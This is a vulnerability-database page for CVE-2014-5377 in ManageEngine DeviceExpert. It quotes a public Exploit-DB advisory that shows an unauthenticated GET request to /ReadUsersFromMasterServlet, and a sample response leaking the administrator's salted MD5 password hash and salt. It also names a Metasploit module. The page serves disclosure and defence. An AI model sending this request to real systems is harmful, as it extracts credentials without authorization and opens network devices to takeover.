CVE-2014-5377

medium

Published 2014-09-04 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

ReadUsersFromMasterServlet in ManageEngine DeviceExpert before 5.9 build 5981 allows remote attackers to obtain user account credentials via a direct request.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34449 webapps multiple text · 1 KB

Pedro Ribeiro · 2014-08-28

ManageEngine DeviceExpert 5.9 - User Credential Disclosure

text exploit Source: Exploit-DB

>> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
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>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."


>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply@zohocorp.com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.

Metasploit modules

auxiliary_scanner/http/manageengine_deviceexpert_user_creds rank 300

ManageEngine DeviceExpert User Credentials

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions	Fixed
manageengine	device_expert	`{"endIncluding":"5.9"}`

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.